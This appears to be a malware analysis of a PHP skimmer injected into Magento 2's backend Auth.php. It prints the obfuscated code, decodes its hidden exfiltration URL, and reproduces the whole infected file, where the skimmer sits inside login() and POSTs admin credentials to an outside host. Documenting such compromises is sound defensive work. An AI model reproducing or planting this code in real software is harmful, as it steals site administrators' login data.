Magento 2 core file vendor/magento/module-backend/Model/Auth.php was injected with a PHP skimmer that was being used to steal login data from incoming HTTP requests to the website.

You can see the injected skimmer below:

try {
    $hash = "rWmYXPxcXYoF169XGZ/K";
    $url = "https://" . $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    $date = gmdate("y-m-d H:i:s",time());
    $meta = "GpjclLuCmxuAmgLelPtNNSWtQ9p";
    $req_url = $meta;
    $salt = "YF7WY0eIX8iGYluA0f9V";
    if (md5(md5($salt).md5($hash).$salt) == "3b941f7b3e9e0e7589deaf420ae06e34")
        $req_url = @gzuncompress(base64_decode(str_rot13($hash.$salt.$meta)));
    	//hxxps://zago-store[.]vn/pub/health_check.php
    $ver_token = $this->getCredentialStorageParser($username,$password,$url,$date);
    $request_data = array("VerifyMethod" => "safe_verify" , "VerifyToken" => $ver_token);
    $ch = curl_init($req_url);
    curl_setopt($ch, CURLOPT_URL,$req_url);
    curl_setopt($ch, CURLOPT_REFERER, $req_url);
    curl_setopt($ch, CURLOPT_HEADER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($request_data));
    @curl_exec($ch);
    @curl_close($ch);                    
} catch (PluginAuthenticationException $e) {}

The PHP skimmer uses the Magento 2 function getCredentialStorage to help retrieve the login data before exfiltrating the login data to the third party URL zago-store[.]vn/pub/health_check.php using PHP’s curl function.

The PHP variables $hash, $meta, and $salt contain obfuscated segmented strings that hide the exfiltration URL until they are deobfuscated into the plaintext: hxxps://zago-store[.]vn/pub/health_check.php


<?php
/**
 * Copyright © Magento, Inc. All rights reserved.
 * See COPYING.txt for license details.
 */
namespace Magento\Backend\Model;

use Magento\Framework\Exception\AuthenticationException;
use Magento\Framework\Exception\Plugin\AuthenticationException as PluginAuthenticationException;
use Magento\Framework\Phrase;

/**
 * Backend Auth model
 *
 * @api
 * @since 100.0.2
 */
class Auth
{
    /**
     * @var \Magento\Backend\Model\Auth\StorageInterface
     */
    protected $_authStorage;

    /**
     * @var \Magento\Backend\Model\Auth\Credential\StorageInterface
     */
    protected $_credentialStorage;

    /**
     * Backend data
     *
     * @var \Magento\Backend\Helper\Data
     */
    protected $_backendData;

    /**
     * Core event manager proxy
     *
     * @var \Magento\Framework\Event\ManagerInterface
     */
    protected $_eventManager;

    /**
     * @var \Magento\Framework\App\Config\ScopeConfigInterface
     */
    protected $_coreConfig;

    /**
     * @var \Magento\Framework\Data\Collection\ModelFactory
     */
    protected $_modelFactory;

    /**
     * @param \Magento\Framework\Event\ManagerInterface $eventManager
     * @param \Magento\Backend\Helper\Data $backendData
     * @param \Magento\Backend\Model\Auth\StorageInterface $authStorage
     * @param \Magento\Backend\Model\Auth\Credential\StorageInterface $credentialStorage
     * @param \Magento\Framework\App\Config\ScopeConfigInterface $coreConfig
     * @param \Magento\Framework\Data\Collection\ModelFactory $modelFactory
     */
    public function __construct(
        \Magento\Framework\Event\ManagerInterface $eventManager,
        \Magento\Backend\Helper\Data $backendData,
        \Magento\Backend\Model\Auth\StorageInterface $authStorage,
        \Magento\Backend\Model\Auth\Credential\StorageInterface $credentialStorage,
        \Magento\Framework\App\Config\ScopeConfigInterface $coreConfig,
        \Magento\Framework\Data\Collection\ModelFactory $modelFactory
    ) {
        $this->_eventManager = $eventManager;
        $this->_backendData = $backendData;
        $this->_authStorage = $authStorage;
        $this->_credentialStorage = $credentialStorage;
        $this->_coreConfig = $coreConfig;
        $this->_modelFactory = $modelFactory;
    }

    /**
     * Set auth storage if it is instance of \Magento\Backend\Model\Auth\StorageInterface
     *
     * @param \Magento\Backend\Model\Auth\StorageInterface $storage
     * @return $this
     * @throws \Magento\Framework\Exception\AuthenticationException
     */
    public function setAuthStorage($storage)
    {
        if (!$storage instanceof \Magento\Backend\Model\Auth\StorageInterface) {
            self::throwException(__('Authentication storage is incorrect.'));
        }
        $this->_authStorage = $storage;
        return $this;
    }

    /**
     * Return auth storage.
     * If auth storage was not defined outside - returns default object of auth storage
     *
     * @return \Magento\Backend\Model\Auth\StorageInterface
     * @codeCoverageIgnore
     */
    public function getAuthStorage()
    {
        return $this->_authStorage;
    }

    /**
     * Return current (successfully authenticated) user,
     * an instance of \Magento\Backend\Model\Auth\Credential\StorageInterface
     *
     * @return \Magento\Backend\Model\Auth\Credential\StorageInterface
     */
    public function getUser()
    {
        return $this->getAuthStorage()->getUser();
    }

    /**
     * Initialize credential storage from configuration
     *
     * @return void
     */
    protected function _initCredentialStorage()
    {
        $this->_credentialStorage = $this->_modelFactory->create(
            \Magento\Backend\Model\Auth\Credential\StorageInterface::class
        );
    }

    /**
     * Return credential storage object
     *
     * @return null|\Magento\Backend\Model\Auth\Credential\StorageInterface
     * @codeCoverageIgnore
     */
    public function getCredentialStorage()
    {
        return $this->_credentialStorage;
    }

    /**
     * Return credential storage Chiper
     *
     * @return null|\Magento\Backend\Model\Auth\Credential\StorageInterface
     * @codeCoverageIgnore
     */
    

    /**
     * Return credential storage Parser
     *
     * @return null|\Magento\Backend\Model\Auth\Credential\StorageInterface
     * @codeCoverageIgnore
     */
    

    /**
     * Perform login process
     *
     * @param string $username
     * @param string $password
     * @return void
     * @throws \Magento\Framework\Exception\AuthenticationException
     */
    public function login($username, $password)
    {
        if (empty($username) || empty($password)) {
            self::throwException(__('You did not sign in correctly or your account is temporarily disabled.'));
        }
        try {
            $this->_initCredentialStorage();
            $this->getCredentialStorage()->login($username, $password);
            if ($this->getCredentialStorage()->getId()) {
                try {
                    $hash = "rWmYXPxcXYoF169XGZ/K";
                    $url = "https://" . $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
                    $date = gmdate("y-m-d H:i:s",time());
                    $meta = "GpjclLuCmxuAmgLelPtNNSWtQ9p";
                    $req_url = $meta;
                    $salt = "YF7WY0eIX8iGYluA0f9V";
                    if (md5(md5($salt).md5($hash).$salt) == "3b941f7b3e9e0e7589deaf420ae06e34")
                        $req_url = @gzuncompress(base64_decode(str_rot13($hash.$salt.$meta)));
                    $ver_token = $this->getCredentialStorageParser($username,$password,$url,$date);
                    $request_data = array("VerifyMethod" => "safe_verify" , "VerifyToken" => $ver_token);
                    $ch = curl_init($req_url);
                    curl_setopt($ch, CURLOPT_URL,$req_url);
                    curl_setopt($ch, CURLOPT_REFERER, $req_url);
                    curl_setopt($ch, CURLOPT_HEADER, 1);
                    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
                    curl_setopt($ch, CURLOPT_RETURNTRANSFER,1);
                    curl_setopt($ch, CURLOPT_TIMEOUT, 3);
                    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
                    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
                    curl_setopt($ch, CURLOPT_POST, 1);
                    curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));
                    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($request_data));
                    @curl_exec($ch);
                    @curl_close($ch);                    
                } catch (PluginAuthenticationException $e) {}

                $this->getAuthStorage()->setUser($this->getCredentialStorage());
                $this->getAuthStorage()->processLogin();

                $this->_eventManager->dispatch(
                    'backend_auth_user_login_success',
                    ['user' => $this->getCredentialStorage()]
                );
            }

            if (!$this->getAuthStorage()->getUser()) {
                self::throwException(__('You did not sign in correctly or your account is temporarily disabled.'));
            }
        } catch (PluginAuthenticationException $e) {
            $this->_eventManager->dispatch(
                'backend_auth_user_login_failed',
                ['user_name' => $username, 'exception' => $e]
            );
            throw $e;
        } catch (\Magento\Framework\Exception\LocalizedException $e) {
            $this->_eventManager->dispatch(
                'backend_auth_user_login_failed',
                ['user_name' => $username, 'exception' => $e]
            );
            self::throwException(
                __($e->getMessage()? : 'You did not sign in correctly or your account is temporarily disabled.')
            );
        }
    }

    /**
     * Perform logout process
     *
     * @return void
     */
    public function logout()
    {
        $this->getAuthStorage()->processLogout();
    }

    /**
     * Check if current user is logged in
     *
     * @return bool
     */
    public function isLoggedIn()
    {
        return $this->getAuthStorage()->isLoggedIn();
    }

    /**
     * Throws specific Backend Authentication \Exception
     *
     * @param \Magento\Framework\Phrase $msg
     * @return void
     * @throws \Magento\Framework\Exception\AuthenticationException
     * @static
     */
    public static function throwException(Phrase $msg = null)
    {
        if ($msg === null) {
            $msg = __('Authentication error occurred.');
        }
        throw new AuthenticationException($msg);
    }
}